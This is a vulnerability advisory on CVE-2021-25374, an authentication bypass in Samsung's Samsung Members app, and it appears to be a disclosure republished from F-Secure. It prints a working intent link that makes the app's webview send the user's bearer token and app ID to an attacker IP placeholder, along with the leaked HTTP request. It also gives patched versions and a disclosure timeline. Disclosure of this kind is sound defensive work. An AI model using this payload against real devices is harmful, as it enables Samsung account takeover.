Original post: https://labs.f-secure.com/advisories/samsung-s20-gain-access-to-samsung-account/

Product Samsung phones with Samsung Members (version dependent on OS)
Severity High
CVE Reference CVE-2021-25374
Type Authentication Bypass

Description

F-Secure looked into exploiting the Samsung S20 device for Tokyo Pwn2Own 2020. An issue was discovered that would have allowed an attacker to gain access to the victim’s Samsung Account.

Technical Details

Samsung Members (com.samsung.android.voc) is an application which offers tips and solutions for Samsung device owners. For US and South Korean users, the app also offers a portal to login to Samsung Members, the official Samsung loyalty program.

A webview within the Samsung Rewards section of the application could be used to obtain access to someone’s Samsung account. The following launchable intent could be used to replicate this issue:

<a href="intent://launch?url=http://<attacker IP>:8000/yay.html&action=sso&from=ZZ&iso=ZZ#Intent;scheme=samsungrewards;package=com.samsung.android.voc;action=android.intent.action.VIEW;end;">yay click here yay</a>

Users that have a vulnerable version of Samsung Members installed are at risk of having their Samsung Account compromised via the above browsable link. After tapping the above link on a vulnerable phone, the application will make a HTTP request similar to the following, which contains the user’s authorization bearer token and appid. In this scenario, an attacker controls the IP address located at “":

GET /yay.html HTTP/1.1
Host: <attacker IP>:8000
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Linux; Android 10; SM-G985F Build/QP1A.190711.020; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/85.0.4183.127 Mobile Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
authorization: Bearer <bearer value>
x-osp-appid: <appid value>
X-Requested-With: com.samsung.android.voc
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

Using these two pieces of information, it is possible for an attacker to make a series of requests that would give the attacker access to the user’s Samsung Account. F-Secure developed a Python Proof of Concept (PoC) script that would automate the series of requests and print the account’s profile information. The screenshot below shows the PoC script in action (left) and what the phone displays during exploitation (right):

yay

The PoC script can be found on F-Secure’s GitHub page at https://github.com/Yogehi/CVE-2021-25374_Samsung-Account-Access.

Remedial Action

Samsung has released patched versions of Samsung Members which addresses the above issue. The version that should be downloaded depends on the OS of the device itself.

  • Devices running Android O (8.1) and below should download Samsung Members version 2.4.83.9 or above
  • Devices running Android P (9.0) and above should download Samsung Members version 3.9.00.9 or above

Credits

This issue was discovered by Ken Gannon.

Timeline

Date Summary
03/10/2020 Issue disclosed to Samsung Mobile Security
03/10/2020 Issue assigned to a Samsung Security Analyst
25/10/2020 Samsung confirms the vulnerability and rates it as a high risk issue
11/01/2021 Follow up sent to Samsung
11/01/2021 Samsung responded to follow up saying a patch is still being worked on
06/04/2021 Patch released, Samsung initiates process for bug bounty reward
06/04/2021 CVE Assigned
28/04/2021 Advisory Published